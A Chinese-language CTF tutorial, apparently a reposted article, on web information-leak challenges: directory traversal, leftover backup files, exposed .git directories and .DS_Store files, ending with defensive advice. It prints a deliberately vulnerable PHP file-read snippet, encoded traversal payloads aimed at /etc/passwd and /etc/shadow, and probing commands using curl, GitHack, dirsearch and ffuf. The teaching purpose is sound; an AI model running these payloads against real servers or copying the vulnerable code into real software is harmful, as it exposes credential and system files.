文章总结: 本文是CTF入门系列第三期,聚焦Web安全中的信息泄露漏洞。核心介绍了目录遍历、备份文件泄露、Git泄露和.DS_Store泄露四种常见场景,详细阐述了每种漏洞的原理、实战探测技巧及工具使用(如curl、GitHack、dirsearch)。文章强调信息泄露是CTF中最易上手的题型,考验观察力与信息收集能力,并提供了防守要点供开发运维参考。 综合评分: 88 文章分类: WEB安全,实战经验,安全工具,渗透测试,安全意识
CTF入门|第3期 信息泄露实战
原创
安全值班室 安全值班室
安全值班室
2026年7月10日 09:00 北京
在小说阅读器读本章
去阅读
在CTF的Web题目中,有一种最简单的拿Flag方式——它不需要构造复杂的SQL注入语句,也不需要写反序列化利用链,只需要你耐心地检查每一个URL、每一处可能被忽视的角落。这种漏洞叫做信息泄露。
Web应用上线后残留了不该存在的文件或配置,攻击者就能通过这些”蛛丝马迹”直接获取敏感数据。本期带你逐一攻破CTF中最常见的四种信息泄露场景。
📌 本期速览 ① 目录遍历 — 利用路径穿越符直接浏览服务器文件 ② 备份文件泄露 — .bak、.swp、.tar.gz中藏着的源码 ③ Git泄露 — 从.git目录还原完整代码仓库,找回被删的Flag ④ .DS_Store泄露 — macOS用户的”隐形告密者”暴露所有文件名
一、目录遍历(Directory Traversal) 目录遍历是信息泄露里最基础的题型,也是CTF新人最容易拿到”一血”的题目类型。它的核心原理非常简单:当Web服务器在读取文件时没有严格校验用户输入的路径参数,攻击者就可以通过 ../(跨目录符)跳出本应限制的目录,访问服务器上任意文件。 ▎ 漏洞原理 假设后端使用以下PHP代码读取用户上传的图片:
<?php// 直接接收GET参数file,无任何过滤与校验$file = $_GET['file'];// 拼接路径,存在目录穿越漏洞$path = '/var/www/uploads/' . $file;// 读取文件内容输出readfile($path);?>
攻击者传入 file=../../../../etc/passwd
实际读取路径变为 /var/www/uploads/../../../../etc/passwd
等同于 /etc/passwd
如果Web服务器以root权限运行,甚至可以直接读取 /etc/shadow。在CTF中,目录遍历的常见目标包括:
| 目标路径 | 说明 |
| — | — |
| ../../../etc/passwd | 经典探测路径,确认漏洞存在 |
| ../../../flag 或 ../../../flag.txt | Flag通常放在网站根目录或系统根目录 |
| ../flag | 深度较浅,只需一级穿越 |
| ../../../../../../../flag | 多层穿越,7层以上也常见 |
▎ 实战技巧
# 基础curl --path-as-is "http://target.com/../../../../etc/passwd"# 单层编码curl "http://target.com/%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd"# 双层编码curl "http://target.com/%252e%252e%252fetc/passwd"# 变形点点绕过curl "http://target.com/..././..././..././flag"# 批量深度探测for i in $(seq 1 10); do dots=$(printf '..%%2F%.0s' $(seq 1 $i)); curl -s -o /dev/null -w "%{http_code} " "http://target.com/${dots}flag"; done; echo ""
⚠️ 注意点 curl默认会”智能”地规范化路径,把 ../../ 解析掉。必须使用 --path-as-is 参数让curl原样发送路径,否则你永远都测不出目录遍历漏洞。
二、备份文件泄露 开发者在编写代码时,编辑器或手工操作会留下各种备份文件。这些文件本不该出现在生产服务器上,但现实中因为各种疏忽被一起部署到线上,成为信息泄露的重要来源。CTF中这种题型很常见,往往访问一个PHP页面显示的是空白或错误信息,但加上 .bak 后缀就能直接下载源码。 ▎ 常见备份文件
| 后缀 | 来源 | 说明 |
| — | — | — |
| .bak | 手动备份 | 最普遍,直接复制原文件加.bak后缀 |
| .swp / .swo / .swn | Vim交换文件 | Vim崩溃或编辑时遗留的缓存 |
| .save / ~ | 文本编辑器 | nano、gedit等编辑器自动备份 |
| www.zip / www.tar.gz | 手工打包 | 完整项目打包,一步到位 |
| .idea/ / .vscode/ | IDE配置 | 可能暴露项目结构和路径 |
▎ 实战探测
# 逐个探测常见备份文件curl -s http://target.com/index.php.bakcurl -s http://target.com/index.php~curl -s http://target.com/index.php.swpcurl -s http://target.com/index.php.savecurl -s http://target.com/index.php.oldcurl -s http://target.com/www.zipcurl -s http://target.com/www.tar.gzcurl -s http://target.com/backup.zip# dirsearch 备份文件扫描命令python3 dirsearch.py -u http://target.com/ -e php,html,bak,txt -w backup_extensions.txt
Vim交换文件(.swp)尤其值得关注。当你用Vim编辑文件时,如果编辑器异常退出(SSH断开、系统崩溃),.swp文件会留在磁盘上,里面保存了未保存的编辑内容,甚至包含完整的文件内容。下载后用 strings 命令就能提取出其中的文本信息。 三、Git泄露 Git泄露是CTF Web方向中出镜率最高的信息泄露漏洞类型,几乎每一场CTF比赛都能看到它的身影。很多开发者在项目开发中使用Git做版本控制,部署时却直接把包含 .git 目录的整个项目复制到了Web服务器上,也没有配置Nginx/Apache禁止访问 .git 目录。攻击者通过下载 .git 目录下的文件,可以还原出完整的代码仓库——包括所有历史提交中的敏感信息。 ▎ 原理与验证 Git的 .git 目录存储了项目的全部版本历史。只要我们能拿到 .git/HEAD、.git/index 以及 .git/objects/ 下的对象文件,就能用 git checkout 恢复完整的源代码和所有提交历史。验证是否存在Git泄露只需一条请求:
# Git泄露基础探测curl -s http://target.com/.git/HEADcurl -s http://target.com/.git/config
▎ 工具:GitHack(推荐) 手工逐个下载 .git/objects 非常繁琐,业界有成熟的开源工具一键搞定。
# 方案1:GitHack 经典工具git clone https://github.com/lijiejie/GitHack.git && cd GitHack && python3 GitHack.py http://target.com/.git/# 方案2:git-dumper 轻量工具pip3 install git-dumper && git_dumper http://target.com/.git/ ./output_dir/
恢复仓库后,可以通过以下命令找到被删除的Flag:
# 进入导出的源码目录cd output_dir/# 查看全部分支+所有提交记录(含已删除提交)git log --all --oneline# 展示所有提交完整代码改动差异git log -p --all# 查看指定提交号的详细源码修改git show [commit-hash]# 切换到对应历史提交,读取旧文件中的Flaggit checkout [commit-hash]
▎ Git泄露的出题套路 CTF中Git泄露题常见的三种出题方式:
| 套路 | 特点 | 解法 |
| — | — | — |
| 历史版本藏Flag | Flag写在旧版中,在新版中被删除 | git log -p 查看所有差异 |
| 多个分支藏Flag | Flag隐藏在非主分支中 | git branch -a 查看所有分支 |
| Tag标签藏Flag | Flag附在某个Tag上而不是文件里 | git tag -l + git show tag_name |
💡 经验:Git泄露三板斧 1️⃣ 先访问 /.git/HEAD 确认漏洞存在
2️⃣ 用 GitHack 或 git-dumper 一键拉取完整仓库
3️⃣ 执行 git log -p --all 翻看所有提交的历史差异,Flag往往就藏在某次”删除Flag”的提交里
四、.DS_Store泄露.DS_Store(Desktop Services Store)是macOS系统为每个文件夹自动生成的一个隐藏文件,用来存储该文件夹的显示偏好信息——比如图标排列位置、窗口大小、背景图设置等。关键的是,这个文件会列出该文件夹下的所有文件名。如果在CTF比赛中发现网站存在 .DS_Store 泄露,就等于拿到了一份目录索引。 这类题目往往出现在用Mac开发的出题人身上,他们直接把项目从Mac拷贝到服务器上,忘记了macOS会自动生成 .DS_Store 文件。通过解析这个文件,你可能发现隐藏的管理后台路径、Flag文件的真实文件名等关键信息。
# 1. 下载目标 .DS_Store 文件curl -s http://target.com/.DS_Store -o .DS_Store# 2. 方法1:ds_store 库完整解析文件列表pip install ds_storepython3 -c "from ds_store import DSStorewith DSStore.open('.DS_Store') as d: for entry in d: print(entry.filename)"# 3. 方法2:strings 快速提取文件名(无需额外库)strings .DS_Store | sort -u | grep -v '^\.'
五、综合探测工具链 在实际的CTF比赛中,以上四种信息泄露漏洞往往不是孤立出现的。建议按以下顺序进行系统化探测:
| 探测目标 | 命令/工具 |
| — | — |
| 目录遍历 | curl + --path-as-is 逐级探测 |
| .git泄露 | 访问 /.git/HEAD,然后 GitHack |
| 备份文件 | dirsearch + 备份文件字典 |
| .DS_Store | 下载并 Python 解析 |
| 目录爆破 | dirsearch / gobuster / ffuf + 通用字典 |
其中 dirsearch 是目前使用最广泛的目录爆破工具,集成了大量字典和丰富的绕过功能:
# dirsearch 目录扫描,过滤403/404无效状态码python3 dirsearch.py -u http://target.com/ -e php,txt,zip -x 403,404# ffuf 高速爆破,FUZZ占位符替换路径字典ffuf -u http://target.com/FUZZ -w /usr/share/wordlists/dirb/common.txt
🛡️ 防守要点(给开发者和运维) ✅ 禁止将 .git 目录部署到生产环境——用 .gitignore 或CI/CD流水线自动排除
✅ 上线前删除所有备份文件(.bak、.swp、~ 等)
✅ 严格校验路径参数,过滤 ../、..\\、%2e%2e%2f
✅ 使用 realpath() 或 basename() 将路径规范化后再读取文件
✅ Nginx配置:location ~ /\. { deny all; } 禁止访问所有点开头的隐藏文件
信息泄露在CTF Web方向属于最容易上手的一类题。它不需要你精通漏洞利用技术,也不要求你编写复杂的攻击脚本,考验的是观察力的细致程度和信息收集的全面性。下次面对一道Web题无从下手时,先走一遍上面的探测流程——也许Flag就大摇大摆地躺在 /.git 目录里,等着你去捡。
觉得有用?点个在看支持一下
值班员说 下一期我们将进入CTF Web方向的又一个重点领域——注入类漏洞。SQL注入、命令注入、LDAP注入……这些在CTF赛场上都是高频考点,也是最能拉开分差的题型。我们下期见。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:安全值班室 安全值班室 安全值班室《CTF入门|第3期 信息泄露实战》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论